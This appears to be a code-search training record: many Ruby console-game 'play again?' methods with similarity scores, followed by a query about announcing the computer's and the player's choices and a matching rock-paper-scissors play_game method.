"def replay(play_again_choice)\r\n if play_again_choice == 'y' || play_again_choice == 'yes'\r\n puts \"\\n---------Good luck---------\\n\"\r\n sleep(2)\r\n system('cls')\r\n elsif play_again_choice == 'n' || play_again_choice == 'no'\r\n puts \"\\n---------Thanks for playing!---------\\n\"\r\n exit\r\n else\r\n puts \"\\nInvalid response entered. Would You Like to Play again? (Yes/No)\"\r\n play_again_choice = gets.chomp.downcase\r\n replay(play_again_choice)\r\n end\r\nend",
"def again?\n score\n puts \"Would you like to play again? (y/n)\"\n response = get_console_char\n if response == \"y\"\n reset\n elsif response == \"n\"\n puts \"Thanks for playing. Have a nice day!\"\n exit\n else\n puts \"You said '#{response}'. Please clarify with 'y' or 'n'.\"\n again?\n end\n end",
"def play_again\n\t\tputs \"Would you like to play again? Y/N\"\n\t\t\n\t\t# setup the game to play again if user chooses Y\n\t\tif gets.chomp.upcase == \"Y\"\n\t\t\tinitialize\n\t\t\tputs \"Ok, let's play NIM again!\"\n\t\t\tputs \"The starting stack is #{@game_stack} \\n\"\n\t\t\tplay_game\n\t\telse\n\t\t\tend_game\n\t\tend\n\tend",
"def again?\n\t\t@screen.start\n\t\tputs \" On fait la revanche ? \"\n\t\tputs \"\"\n\t\tprint \" Y / N ?\"\n\t\tanswer = gets.chomp.upcase\n\t\tif answer == \"Y\" #si oui\n\t\t\tputs \"\"\n\t\t\tputs \" C'est parti!\"\n\t\t\tputs \"\"\n\t\t\tputs \" Cette fois, on change de tour\"\n\t\t\tsleep(1)\n\t\t\tpremier = @game.player1.name\n\t\t\tsecond = @game.player2.name\n\t\t\t@game = Game.new(second,premier)\n\t\t\tputs \"\"\n\t\t\tputs \" #{second}, tu commences avec les croix.\"\n\t\t\t@game.player2.name = premier\n\t\t\tsleep(1)\n\t\t\tputs \"\"\n\t\t\tputs \" #{premier}, tu prends les ronds.\"\n\t\t\tputs \"\"\n\t\t\tsleep(1.5)\n\t\telse #si non\n\t\t\t@@over = true\n\t\tend\n\tend",
"def play_again?\n if @players.empty?\n false\n else\n player_names = @players.map{ |p| p.name }.join(\", \")\n print \"#{player_names}, one more game (y/n)? \"\n gets.strip.downcase.take(1) == \"y\"\n end\n end",
"def play_again?(response)\n\t\tif response == \"y\"\n\t\t\tputs \"How many disks would you like to play with this time?\"\n\t\t\tdisks = gets.chomp.to_i\n\t\t\tstart(disks)\n\t\telsif response == \"n\"\n\t\t\tputs \"Thanks for playing!\"\n\t\t\texit\n\t\telse\n\t\t\tputs \"Please enter either 'y' for yes or 'n' for no.\"\n\t\t\tresponse = gets.chomp.downcase\n\t\t\tplay_again?(response)\n\t\tend\n\tend",
"def play_again_Q\n\tputs \"\\nDo you want to play again? (Y/N)\"\n\tchoice = gets.strip\n\tconfirm_YN(choice)\nend",
"def play_again\n puts \"Do you want to play again(y/n)?\"\n desire = $stdin.gets.chomp.downcase\n if desire == \"y\"\n Game.new.play\n else\n puts \"Thanks for playing!\"\n exit\n end\n end",
"def continue_play?(game_num)\n return prompt_yes_no(\"Would you like to continue playing? [no]\\n This will be game #{game_num}\", \"no\")\n end",
"def again()\n\n print \"[?] Play again? (y/n): \"\n\n inp = gets.chomp()\n\n while true\n\n case inp.downcase()\n\n when \"y\", \"yes\"\n\n main()\n\n when \"n\", \"no\"\n\n puts \"[$] Thanks For playing !\"; exit()\n\n else \n\n print \"[?] Play again? (y/n): \"\n\n inp = gets.chomp()\n\n end\n\n end\n\n end",
"def play_again?\n\n play_again = ''\n puts \"\"\n puts \"Would you like to play again.\"\n puts \"Type 'y' or 'yes' to play again.\"\n puts \"OR\"\n puts \"Type 'n' or 'no' to exit\"\n play_again = gets.strip.downcase\n\n case play_again\n when 'y', 'yes'\n start_menu\n when 'n', 'no'\n abort(\"You Exited the Game\")\n else\n puts \"Invalid choice!\"\n play_again?\n end # case play_again\n\n end",
"def play_again\n #forever loop to stay in the menu\n while true\n option = gets.upcase.strip\n case option\n #If the player wants to leave, go to the close method\n when 'Q'\n close\n #if the player wants to play again, clear the screen and reset the game state\n when 'P'\n system('cls')\n reset\n else\n puts ERRORMESSAGE + 'game option.'\n print 'Option:'\n end\n end\n end",
"def ask_play_again?()\n input = get_input \"Play again?\"\n if input == \"y\"\n 1\n elsif input == \"n\"\n 2\n else\n 3\n end\nend",
"def replay\n @board.reset!\n puts \"Would you like to play again?\";\n input = STDIN.gets.strip #I need to ask about this method.\n puts \"\"\n input == \"yes\" || input == \"Yes\" ? start : puts(\"Goodbye!\")\n end",
"def ask_play_again\n correct_input = 0\n until correct_input == 1\n print 'Do you want to play again? (y/n): '\n option = gets.chomp.downcase\n if %w[y n].include?(option)\n correct_input = 1\n else\n puts 'PLEASE ENTER Y OR N'\n end\n end\n puts \"\\n\\n\"\n option\n end",
"def play_again?\n puts \"do you want to play again? (y/n)\"\n ans = gets.chomp.downcase\n if ans != 'y'\n exit\n end\nend",
"def playagain\n puts \"\\n\\n\\n\\nDo you want to play again? (yes or no)\"\n ans = gets.chomp\n if ans==\"yes\"\n play @animalTree\n else\n puts \"Nice playing with you!\"\n end\n end",
"def play_again?\n puts \"Play again? (Y/N)\"\n response = \"\"\n while response != \"Y\" || response != \"N\"\n response = gets.chomp.upcase\n if response == \"Y\"\n newgame = Game.new\n newgame.move \n elsif response == \"N\"\n else \n puts \"Please entrer (Y/N)\"\n end\n end\n end",
"def continue?\n begin\n puts \"PLAY AGAIN? Y / N\"\n continue = gets.chomp.upcase\n end while ![\"Y\" , \"N\"].include?(continue)\n\n if continue == \"N\"\n exit\n else\n intro\n get_inputs\n end\n end",
"def wrong\n puts \"I'm sorry you need to pick one of the two options.\"\n play\n end",
"def ask_again\n\n end",
"def play_again(play_again_response)\n while play_again_response.downcase != 'no'\n puts 'Do you want to play another round of Rock, Paper, Scissors? Yes or No?'\n play_again_response = gets.chomp\n if play_again_response.downcase == 'yes'\n puts \"OK! Lets play again!\"\n rock_paper_scissors_game\n exit\n elsif play_again_response.downcase == 'no'\n else\n puts 'You enetered '+play_again_response.capitalize+' which isnt Yes or No. Please type Yes or No if you want to play again.'\n play_again_response = gets.chomp\n end\n end\n end",
"def restart_game?(players)\r\n\r\n puts \"\\n That was it! You want to play again?\r\n \\n[y] to restart game\r\n \\n[n] to leave\"\r\n answer = gets.chomp.downcase\r\n\r\n if answer == \"y\" \r\n start_session(players) \r\n else\r\n puts \"\\nAllrighty then, see you next time!\"\r\n end\r\n end",
"def play_again()\n puts \"Do you want to play again? (yes, no)\"\n play_again = gets.chomp.downcase\n if play_again == \"yes\"\n play_game()\n end\nend",
"def play\n choice = ask_menu_option\n choice == '1' ? setup : load\n continue = 1\n while continue == 1\n round_sequence\n if ask_play_again == 'y'\n reset\n else\n continue = 0\n puts 'Goodbye!'\n puts \"\\n\\n\"\n end\n end\n end",
"def play_again\n puts \"Do you want to play again? (yes/no)\"\n answer = gets.chomp\n if answer == \"yes\"\n @player1.lives = 3\n @player2.lives = 3\n # Use the below if we want points to reset every game\n #@player1.point = 0\n #@player2.point = 0\n start\n else answer == \"no\"\n puts \"Goodbye!\"\n end \n end",
"def player_dead\n\tputs \"Would you care to try again? (Y/N)\"\n\tplay_again = gets.chomp\n\tplay_again.downcase!\n\tif play_again == \"y\"\n\t\tgame_start\n\telse\n\t\texit\n\tend\nend",
"def play_again\n puts (\"Do you want to play another game ? Yes / No\").red\n print \">\"\n decision = gets.chomp\n while decision != \"Yes\" && decision != \"No\"\n puts \"Invalid answer. Do you want to play again ? Please, type 'Yes' or 'No'\"\n print \">\"\n decision = gets.chomp\n end\n return decision\n end",
"def done_playing?\n response = true\n SHELL.confirm(\"Keep Playing Blackjack?\")\n begin\n response = SHELL.ask(\"Enter 'Yes' or 'No'\").read_bool\n rescue Exception => e\n SHELL.error(\"Exiting due to error: #{e}\")\n response = true\n ensure\n return !response\n end\n end",
"def start_new_game?\n begin\n puts \"Would you like to play again? (Y/N)\"\n continue_answer = gets.chomp.upcase\n end until [\"Y\",\"N\"].include?(continue_answer)\n continue_answer == \"Y\"\n end",
"def play_again\n puts \"-----------------------------------------------------------------------\"\n font = font_instance\n prompt = prompt_instance\n puts font.write(\"Play again?\")\n prompt.select(\"Would you like to play again?\".colorize(:magenta)) do |menu|\n menu.choice \"YES\", -> {play}\n menu.choice \"NO\", -> {main_menu}\n end\nend",
"def play_again\n puts \"Player has won a total of #{@player_win} and Dealer has won a total of #{@dealer_win}.\"\n puts \"Would you like to play again? Yes or No..\"\n userinput = gets.chomp.downcase\n if userinput == \"yes\" or userinput == \"y\"\n first_hand\n play\n elsif userinput == \"no\" or userinput == \"n\"\n %x(say 'Goodbye')\n exit\n else\n puts \"Sorry I didn't understand your input..\"\n play_again\n end\n end",
"def end_game\n\tprint_paragraph(\"You made it out alive and all before lunch.\\nCongratulations on your victory!\")\n\tputs \"Would you like to play again? (Y/N)\"\t\n\tplay_again = gets.chomp\n\tplay_again.downcase!\n\tif play_again == \"y\"\n\t\tgame_start\n\telse\n\t\texit\n\tend\nend",
"def play_again\n loop do\n choice = prompt_new_game\n if choice == \"y\" then\n player = nil\n dealer = nil\n new_game\n else\n exit\n end\n end\nend",
"def restart_game?(input)\n if input == \"yes\"\n true\n else\n false\n end\nend",
"def play_again?\n choice = ''\n loop do\n puts 'Do you want to play again? y/n '\n choice = gets.chomp.downcase\n break if %w(y n).include?(choice)\n puts \"invalid response. enter 'y' or 'n'\"\n end\n choice == 'y'\nend",
"def ready_check(player)\n system 'clear'\n puts \"#{player.player_name},\".light_green + ' are you ready to act?'\n puts 'Enter ' + '(Y)es'.light_green + ' to continue'\nend",
"def play_again\n prompt = TTY::Prompt.new\n choices = [\n {name: 'Yes', value: 1},\n {name: 'No', value: 2},\n ]\n players_input = prompt.select(\"Would You like to play again?\", choices) \n case players_input\n when 1\n execute_game\n when 2\n main_menu\n end \nend",
"def play_again\n puts '¿Quieres volver a jugar S/N'\n @answer = gets.chomp.downcase\n if @answer == 's'\n @active_player = check_last_winner\n # The game creates a new board and assigns it to the players\n @board = Board.new\n @board.fill_board\n @player1.board(@board)\n @player2.board(@board)\n # Then the game calls the function to star the game again\n startGame\n end\n end",
"def play_again\n puts 'Would you like to play another hand of BlackJack? If so say Yes or No'\n play_again_response = gets.chomp\n while play_again_response != 'no'\n if play_again_response.downcase == 'yes'\n puts 'OK, lets play again!'\n blackjack\n exit\n elsif play_again_response == 'no'\n puts 'Ok, Thanks for playing'\n exit\n else\n puts 'You didn\\'t enter Yes or No to the question if you wanted to play again. Please try again.'\n play_again_response = gets.chomp\n end\n end\n end",
"def play_again(name)\n\tplay_choice = play_again_Q\n\tif play_choice == \"Y\"\n\t\tputs \"\\nHigh five, #{name}! Don't you just love this game?\"\n\t\tsecret_num = rand(10) + 1\n\t\tguess = first_guess.to_i\n\t\ttries = 1\n\t\teval_num(secret_num, guess, tries)\n\t\tplay_again(name)\n\telsif play_choice == \"N\"\n\t\tputs \"\\nThank you for playing #{name}! Come test your mind again when you're bored.\"\n\tend\nend",
"def continue?\r\n\tprintLine\r\n\tputs \"Would you like to play another game? (yes or no)\"\r\n\tprint \"--> \"\r\n\t@choice = gets.chomp\r\n\t#If user doesn't want to continue hand is still finished\r\n\tif @choice.include? \"yes\"\r\n\t\t@new_game = true\r\n\t\t@hand_finished = false\r\n\t\treturn true\r\n\telse \r\n\t\treturn false\r\n\tend\r\nend",
"def play_again?\n puts \"\\n\" + SMALL_BANNER\n puts \"\\nWould you like to play again?\"\n print \"('y' for yes; otherwise exit):\"\n answer = gets.chomp\n answer.downcase.start_with?('y')\nend",
"def again\n #puts \"You are on round #{@roundcount}\"\n puts \"\\nDo you want to play again? Yes or No?\"\n answer = gets.chomp.capitalize\n case answer\n when \"Yes\"\n game\n when \"Y\"\n game\n when \"No\"\n gameover\n when \"N\"\n gameover\n else\n puts \"\\nYOU NEED TO PUT YES OR NO!\"\n again\n end\nend",
"def game_over\n\tputs \"\\tGAME OVER!\"\n\tsleep (3)\n\tputs \"\\tWould you like to try again?\"\n\tputs \"\\tY/N\"\n\tplay_again = gets.chomp.downcase\n\tif play_again.include? \"y\"\n\t\tload \"./crazy_cat.rb\"\n\telsif play_again.include? \"n\"\n\t\tputs \"Thanks for playing!\"\n\t\tsleep (3)\n\t\tsystem (\"clear\")\n\t\texit\n\telse\n\t\tputs \"Goodbye!\"\n\t\tsleep (3)\n\t\tsystem (\"clear\")\n\t\texit\n\tend\nend",
"def new_game(name)\n\t\tprint \"Would you like to play again #{name}? \"\n\t\tchoice = Input.new.end_input\n\t\tcase choice\n\t\twhen \"yes\" then run(name)\n\t\twhen \"no\" then leave(name)\n\t\tend\n\tend",
"def play_again\n puts \"Play again? (y/n)\"\n input = gets.chomp\n if input.casecmp('y') == 0\n game_over = false\n else\n game_over = true\n end\nend",
"def play_loop\n\twelcome\n\tgame\n\tputs \"Would you like to play again? Enter Y or N\"\n\tplay_again = gets.chomp.upcase\n\twhile play_again != \"N\"\n\t\tif play_again == \"Y\"\n\t\t\t\"Welcome back! Please enter a number between 0 and 100\"\n\t\t\tgame\n\t\telse\n\t\t\tputs \"Please be sure to enter Y or N\"\n\t\tend\n\t\tplay_again = gets.chomp.upcase\n\tend\nend",
"def retry_game\n user_retry = $prompt.select(\"Would you like to try again?\", [\"Yes\", \"No\"])\n puts user_retry\n if user_retry == \"Yes\"\n reset_vars\n start_app\n else\n puts \"Come back to fight another day...\"\n end\nend",
"def play_again?(username, banner_cards, banner_lets_play)\n puts \"Would you like to play again? (y/n)\"\n choice = gets.chomp[0].downcase\n if choice == \"n\"\n puts \"\\n\\n\"\n puts \"Thank you, #{username}, for visiting\".center(70)\n puts \"Mary's Magnificent Emporium of Blackjack\".center(70)\n puts banner_cards\n puts \"\\n\\n\"\n exit\n else\n puts banner_lets_play\n return choice\n end\n end",
"def playAgain()\n puts \"Would you like to play again? Yes (Y) or No (N)\"\n playAgain = $stdin.gets.chomp\n if playAgain.downcase == \"y\" || playAgain.downcase == \"yes\"\n playHangmanAgain = HangMan.new\n elsif playAgain.downcase != \"n\" && playAgain.downcase != \"no\" && playAgain.downcase != \"y\" && playAgain.downcase != \"yes\"\n puts \"That's not an option. Please enter Yes (Y) or No (N)\"\n playAgain()\n else\n puts \"Goodbye !\"\n @numOfGuesses = 11\n @foundWord = true\n end\n \n end",
"def repeat?\n answer = \"\"\n\n until answer.match(/[y|n]/)\n puts \"\\nWould you like to play again? (y/n)\"\n answer = gets.strip.downcase\n puts \"★ Thanks for playing. Come back soon! ★\" if answer == \"n\"\n end\n answer\nend",
"def continue_game\n\n\t\tstart_game\n\t\tplay_game\n\n\t\tputs \"Press 1 to continue the game.\"\n\t\tputs \"If you don't want to continue, press anything else.\"\n\t\tinput = gets().chomp().to_i\n\n\t\twhile input == 1\n\t\t\t\n\t\t\t\n\t\t\tstart_game\n\t\t\tplay_game\n\n\t\t\tputs \"Press 1 to continue the game.\"\n\t\t\tputs \"If you don't want to continue, press anything else.\"\n\t\t\tinput = gets().chomp().to_i\n\n\t\tend\n\n\t\tendgame\n\n\tend",
"def ask_replay\n puts \"\\nDo you want to play another game? (yes or no)\"\n @replay_wanted = gets.chomp\n if @replay_wanted == 'yes'\n return nil\n elsif @replay_wanted == 'no'\n return \"\\nIf you won, congratulations. If not, I could not care less.\"\n else\n @replay_wanted = 'no'\n return 'Your answer is not recognized. If you wish to play again, restart the game.'\n end\nend",
"def play\n puts \"Do you want to be the codebreaker? [Y/N]\"\n input = gets.chomp.upcase\n if input == \"Y\"\n player_play\n else\n comp_play\n end\n end",
"def play\n while(true)\n answer1 = @human.choose\n answer2 = @computer.choose\n puts self.win?(answer1,answer2)\n self.continue?\n end\n end",
"def still_playing\n if victory == true\n @stillPlaying = false\n end\n return @stillPlaying \n end",
"def done()\n\n\t\t# Anouce the end of the game\n\tputs\n\tputs \" ------- End of the game -------\"\n\tputs\n\tputs\n\t\t# prints question to ask if user want to play again \n\tputs \"Would you like to play again? y/n\"\n\t\t# captures answer from user\n\tregame = gets.chomp.to_s\n\n\t\t# analize user's answer if ys y will call method game() to start game again\n\tif regame == \"y\"\n\t\tputs \" \"\n\t\tputs \" \"\n\t\tgame()\n\n\t\t# prints thansk before end of the program\n\telse\n\t\tputs\n\t\tputs \" *** Thansk for Playing *** \"\n\t\tputs\n\t\texit\n\tend\n\nend",
"def play_again()\n puts \"Do you want to play again? (yes or no)\"\n return gets.chomp.downcase.start_with?('y')\nend",
"def re_game(status)\n\n if status == \"win\"\n puts \"Congratulations for teh bet\"\n player.chips = player.bet * 2\n puts \"You have now #{player.chips} chips\"\n end\n\n puts \"Would you like to play again ? 1.yes 2.no\"\n if gets.chomp == \"1\"\n deck = Deck.new # Reset Deck\n dealer.hand = [] # Reset dealer hand\n player.hand = [] # Reset player hand\n run\n else\n puts \"See you later\"\n exit\n end\n\n end",
"def continue_game\n\t\thandle_no_set\n\t\tuntil @is_end\n\t\t\tshow_progress\n\t\t\tshow_hand\n\t\t\tuser_input = get_user_cards\n\t\t\tupdate user_input\n\t\t\thandle_no_set\n\t\tend\n\tend",
"def play_game(player)\n\tgame = Game.new(player)\n\tplay_again = 'y'\n\twhile play_again == 'y'\n\t\tgame.start_session\n\t\tgame.win_ratio_output\n\t\tputs\n\t\tputs \"Do you want to play another session? (Type 'y'/'n')\"\n\t\tplay_again = gets.strip.downcase\n\t\tcheck_yes_no_input(play_again)\n\t\tgame.set_up_game_session\n\tend\nend",
"def try_again\n while true\n print \"Would you like to play again? [y/n]: \"\n input = gets.strip\n input.downcase!\n case input\n when 'y', 'yes'\n puts 'Playing again'\n play_maze\n when /\\A[nN]o?\\Z/\n break\n end\n end\nend",
"def process_ok\n if enabled?\n Sound.play_ok\n Input.update\n deactivate\n call_ok_handler\n else\n Sound.play_buzzer\n end\n end",
"def new_round?\n puts 'Want to play another round? Press y for yes or n for no'\n input = gets.chomp.to_s\n if input == 'y'\n sleep 1\n start_correct_game_flow\n elsif input == 'n'\n puts 'Ok, thanks for playing!'\n sleep 1\n else new_round?\n end\n end",
"def play_another_round\n\t\tputs \"Do you want to play another round? (y/n)\"\n\t\tgame_over = gets.strip\n\n\t\tif game_over == \"y\"\n\t\t\treturn \"y\"\n\t\telse\n\t\t\treturn \"n\"\n\t\tend\n\tend",
"def restart\n puts \"Would you like to search another podcast? Y/n\"\n input = gets.strip.upcase \n if input == \"Y\" || input == \"YES\"\n start\n elsif input == \"N\" || input == \"NO\" || input == \"EXIT\"\n puts \"See ya later!\"\n else\n \tputs \"What was that?\"\n \trestart\n end \n end",
"def exit_game?\n puts \"Would you like to exit game or play again?\"\n decision = gets.chomp\n if decision.downcase == \"exit\"\n exit\n elsif decision.downcase == \"play again\"\n initialize\n end\n end",
"def play_again\n\t\tputs \"\"\n\t\tputs \"Play again?\"\n\t\tinput = gets.chomp.strip.downcase\n\t\tcase input\n\t\twhen \"yes\"\n\t\t\tputs \"\"\n\t\t\tConnectFour.new\n\t\twhen \"no\"\n\t\t\tputs \"\"\n\t\t\tputs \"Goodbye!\"\n\t\telse\n\t\t\tputs \"Error: Invalid input. Try again...\"\n\t\t\tplay_again(input)\n\t\tend\n\tend",
"def ask_play \n\tputs \" - Bon, tu joues quoi #{@name} ? je n'est pas que ca a faire !!! (Donne les coordonnees, ex : a1, b3, c2, etc.) \"\n\t@answer_play = gets.chomp \t\n end",
"def play\n reset\n loop do\n break if @guesses == 0 || @win == true\n status_message\n enter_number\n evaluation_message\n end\n lose_message if @guesses == 0 && @win == false\n end",
"def play_again?\n board=[1,2,3,4,5,6,7,8,9]\n puts \"Want to play agian? (y/n)\"\n choice = gets.chomp.downcase.to_s\n until [\"y\", \"n\"].include?(choice)\n puts \"Please choose 'Y' or 'N'.\"\n choice = gets.chomp.downcase.to_s\n end\n if choice == \"y\"\n tictactoe(board)\n else\n puts \"Thats ok Bye!\"\n end\nend",
"def again_or_exit?(crate)\n puts \"\\n\\nWhat would you like to do now?\\n1. View another genre.\\n2. Exit\"\n input = gets.strip\n input_i = input.to_i\n acceptable_answers = (1..2).to_a\n while acceptable_answers.none? { |answer| answer == input_i }\n puts \"\\nI'm sorry, that's not a valid option.\"\n puts \"Please enter 1 or 2.\"\n input_i = gets.strip.to_i\n end \n\n if input_i == 1\n self.start(crate)\n else\n puts \"Have a good one!\"\n end\n end",
"def play_out\n begin\n make_move(choose_move) until @minefield.clear?\n DISPLAY.call 'Victory!'\n rescue TrippedMineError\n DISPLAY.call 'Boom!'\n return false\n end\n true\n end",
"def end_of_game\n\t\tputs \"\"\n\t\tputs \"Would you like to play again? [Y]es or [N]o\"\n\t\tinput = gets.chomp.upcase\n\t\tif input == 'Y'\n\t\t\tclear_screen\n\t\t\tinitialize\n\t\telsif input == 'N'\n\t\t\tabort(\">Exiting game<\")\n\t\telse\n\t\t\terror\n\t\t\tend_of_game\n\t\tend\n\tend",
"def requestNewGame\n print \"Do you want to play again? (y/n): \"\n wantsNewGame = nil\n while wantsNewGame.nil?\n input = gets.chomp.downcase\n case input\n when \"y\", \"yes\"\n wantsNewGame = true\n when \"n\", \"no\"\n wantsNewGame = false\n puts \"Thanks for playing!\"\n else\n puts \"Please enter 'yes' or 'no' or their abbreviations (y,n)\"\n end\n end\n if wantsNewGame\n newGame()\n end\n end",
"def askToPlay\r\n #asks for user input, takes only the first character of the input (most yes answers start with a 'y' and most no answers start with an 'n')\r\n play = \"y\" #play is default set \"y\" so the game always starts\r\n until (play != \"y\") #loop runs as long a play=\"y\"\r\n playRound($word_list.sample.strip) #sample picks a random item from 'word_list' and .stirp removes leading and trailing whitespace \r\n play = [(puts \"Would you like to play again? y/n\"), gets.strip.downcase().chars.first][1]#runs at the end of a round, providing an oppertunity to change play from 'y', \r\n #stopping the loop or keeping it as 'y' to play another round \r\n end\r\nend",
"def prompt_new_game\n puts \"\"\n puts \"Do you want to play again? (y)\"\n puts \"Press any other key to exit\"\n return gets.chomp\nend",
"def play_until_victory \n\tuntil victory == true \n\t\t first_player_plays\n\t\t second_player_plays\n\tend\n end",
"def start\n\t\twhile @playing\n\t\t\tletter, x_coordinate, y_coordinate = @player.make_decision\n\t\t\tuntil @board.draw(letter, x_coordinate, y_coordinate)\n\t\t\t\tletter, x_coordinate, y_coordinate = @player.make_decision\n\t\t\tend\n\t\t\t@board.print_board\n\t\t\tvictory_check?\n\t\t\tif @playing\n\t\t\t\tletter, x_coordinate, y_coordinate = @computer.make_decision(@board.available_spaces)\n\t\t\t\t@board.draw(letter, x_coordinate, y_coordinate)\n\t\t\t\t@board.print_board\n\t\t\t\tvictory_check?\n\t\t\tend\n\t\tend\n\n\t\tputs \"Would you like to play again?(y/n)\"\n\t\tchoice = gets.chomp.downcase\n\t\tif choice == \"y\"\n\t\t\t@board.clear_board\n\t\t\t@playing = true\n\t\t\tstart\n\t\telse\n\t\t\tputs \"Goodbye!\"\n\t\tend\n\tend",
"def prompt_quit\n\t ans = ''\n\t loop do\n\t print \"\\nDo you want to play another round (Y/N)? \"\n\t ans = gets.chomp.upcase\n\t\tbreak if ['Y', 'N'].include? ans\n\t\tputs \"Invalid answer! Try again...\"\n\t end\n\t ans == 'N'\n\tend",
"def play\n puts \"Let's play 'Bulls and Cows'! (if you are stuck enter 'resign' or 'quit')\"\n loop do \n prompt()\n @user_try = gets.chomp()\n if @user_try == 'resign'\n @result = :resign\n puts \"Number was #{@guess_num.join}\"\n break\n end\n if @user_try == 'quit'\n @result = :quit\n puts \"Number was #{@guess_num.join}\"\n break\n end\n @result = test() if correct?\n end\n return @result\n end",
"def play_game\n display_header\n user = collect_and_validate_input \"Choose a Play (R/P/S)\", :play\n computer = %w(R P S).sample\n \n # determine who won this round\n display_header\n string = case user\n when computer\n \"It's a TIE!!!\"\n when \"P\"\n computer == \"R\" ? \"Paper covers rock! YOU WIN!\" : \"Scissors cut paper! Computer Wins!\"\n when \"R\"\n computer == \"S\" ? \"Rock breaks scissors! YOU WIN!\" : \"Paper covers Rock! Computer Wins!\"\n when \"S\"\n computer == \"P\" ? \"Scissors cut paper! YOU WIN!\" : \"Rock breaks scissors! Computer Wins!\"\n end\n puts string\n \n # ask the user if they wish to play again\n again = (collect_and_validate_input \"Would you like to go again? (Y/N)\", :again).upcase\n again == \"Y\" ? play_game : (puts \"Thanks for playing!\")\nend",
"def gameover_print\n\t\tputs \"Game over\"\n\t\tputs \"Would you like to play again?\"\n\t\tplayagain = gets.chomp.capitalize\n\t\tif playagain == \"Yes\"\n\t\t\tGameplay\n\t\telsif playagain == \"No\"\n\t\t\texit\n\t\telse\n\t\t\tputs \"Please answer Yes or No.\"\n\t\t\tgameover_print\n\t\tend\n\tend",
"def prompt_quit\n ans = ''\n\tloop do\n\t print \"\\nDo you want to play another round (Y/N)? \"\n\t ans = gets.chomp.upcase\n\t break if ['Y', 'N'].include? ans\n\t puts \"Invalid answer! Try again...\"\n\tend\n\tans == 'N'\n end",
"def again_response\n input = ''\n x = 1\n while input.downcase != 'y' && input.downcase != 'n'\n if x != 1\n say('Invalid choice. Play again? [Y/N]')\n end\n input = gets.chomp\n x += 1\n end\n input.downcase\nend",
"def speel_opnieuw?\nwhile true\nspeel_opnieuw = (get_response_for \"Play again (y/n)\").downcase\ncase speel_opnieuw\nwhen 'y', 'yes' then return true\nwhen 'n', 'no' then return false\nend\nend\nend"
] |
[
"0.84351206",
"0.8168121",
"0.8036621",
"0.7807066",
"0.7781239",
"0.7772749",
"0.77130455",
"0.7690588",
"0.7675418",
"0.7656487",
"0.76419294",
"0.76031095",
"0.76023567",
"0.7580011",
"0.7542804",
"0.7505544",
"0.75024956",
"0.74972117",
"0.7446378",
"0.74093497",
"0.7383086",
"0.7374026",
"0.7340101",
"0.73363334",
"0.7328383",
"0.73235875",
"0.73228914",
"0.73179215",
"0.73146623",
"0.73076296",
"0.73072803",
"0.7297189",
"0.72816676",
"0.7255868",
"0.7246754",
"0.72371024",
"0.7233173",
"0.7207752",
"0.72016656",
"0.7167339",
"0.7160197",
"0.71601874",
"0.71427065",
"0.71250814",
"0.70839244",
"0.7073417",
"0.70665294",
"0.70353293",
"0.7024467",
"0.7012804",
"0.7008685",
"0.69985133",
"0.6957185",
"0.6935135",
"0.6925523",
"0.687176",
"0.6850977",
"0.68091464",
"0.6792124",
"0.6781631",
"0.67772216",
"0.67382985",
"0.6707351",
"0.6706264",
"0.6701384",
"0.6687524",
"0.6687383",
"0.66654277",
"0.66443884",
"0.6636511",
"0.66277635",
"0.6603768",
"0.66025776",
"0.6597319",
"0.65898836",
"0.6581187",
"0.6580066",
"0.65749794",
"0.6568856",
"0.6556804",
"0.6520854",
"0.6520609",
"0.6507307",
"0.6503014",
"0.6502972",
"0.6500494",
"0.65000486",
"0.64967346",
"0.6475619",
"0.6464403",
"0.64636403",
"0.6446161",
"0.64417607",
"0.6438886",
"0.6436304",
"0.6433005",
"0.6423853",
"0.64192355",
"0.6404253",
"0.6403437"
] |
0.7418798
|
19
|
puts "The computer chose ____" followed by "You chose ____" followed by the result of get_winner
|
def play_game
#user_choose_rps
comp_choice = comp_choose_rps #<-- no need to use this because it's used once
user_choice = user_choose_rps
puts "The computer chose #{comp_choice}. You chose #{user_choice}."
puts get_winner(comp_choice, user_choice)
replay
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def winner\n\tputs \" - WoooW #{@name} !!!! Tu m'impressionne, Tu as gagne !!! \"\n\tputs \" \"\n end",
"def winning_msg(player_input, computer_input)\n puts \"You chose #{player_input} and the computer chose #{computer_input}. \\n You win!\"\nend",
"def you_win(winner)\n `say \"Congratulation! YOU WON, #{winner} was the 1st one!\"`\nend",
"def announce_winner\n puts \"It's a tie!\" if @turns == 0\n puts @curr_player == @player1 ? \"#{@player1.name} won the game!\" : \"#{@player2.name} won the game!\"\n end",
"def announce_the_result\n if check_for_winner == \"Computer\"\n \"The Computer wins!\\n\"\n elsif check_for_winner == \"Player\"\n \"The Player wins!\\n\"\n elsif check_for_open_board == false\n \"It's a tie!\"\n end\n end",
"def run_a_round\n # Sets player one's choice\n player_one_selection = select_player_choice(@player_one)\n # Sets player two's choice\n player_two_selection = select_player_choice(@player_two)\n # Determines winner with correct output string\n puts determine_winner(player_one_selection, player_two_selection)\n end",
"def winner(player)\n puts \"Player #{player} is the WINRAR!\"\n end",
"def winner(player)\n puts \"Congratulations #{player}! You win!\"\n end",
"def print_winner\n if @winner == :c\n return \"Sorry, cat game.\"\n else\n if @player1.mark == @winner\n return \"Congratulations! \" + @player1.name + \" wins!\"\n elsif @player2.mark == @winner and @player2.type == 'human'\n return \"Congratulations! \" + @player2.name + \" wins!\"\n elsif @player2.mark == @winner and @player2.type == 'computer'\n #1 player, 'O' won. Do not congratulate player on computer victory.\n return \"Sorry, \" + player2.name + \" wins.\"\n end\n end\n end",
"def show_winner(player)\n puts \"Winner: #{player.name} #{player.identity} CONGRATULATIONS!!!\"\nend",
"def display_winner_one_game(r)\n if r == 1\n puts \"#{@player_1_name} wins\"\n elsif r == 2\n puts \"#{@player_2_name} wins\"\n else\n puts \"Tie\"\n end\n end",
"def print_winning_message(winning_choice)\n case\n when 'Rock'\n say('Rock smashes scissors!')\n when 'Paper'\n say('Paper covers rock!')\n when 'Scissors'\n say('Scissors cuts paper!')\n end\nend",
"def winner\n $the_win_comb = { flash_straight: flash_straight, for_of_kind: four_of_kind, full_house: full_house,\n flush: flush, straight: straight, three: three, two_pair: two_pair,\n one_pair: one_pair, high_card: high_card }\n puts \"\\n The highest winner combinations and cards are - \"\n $the_win_comb.each { |comb, ans| return puts comb.upcase, $the_win_comb[comb], ' ' unless ans.nil?}\n end",
"def ask_question(player)\n puts \"#{player.name}: What does #{@num1} plus #{@num2} equal?\"\n puts \" \"\n end",
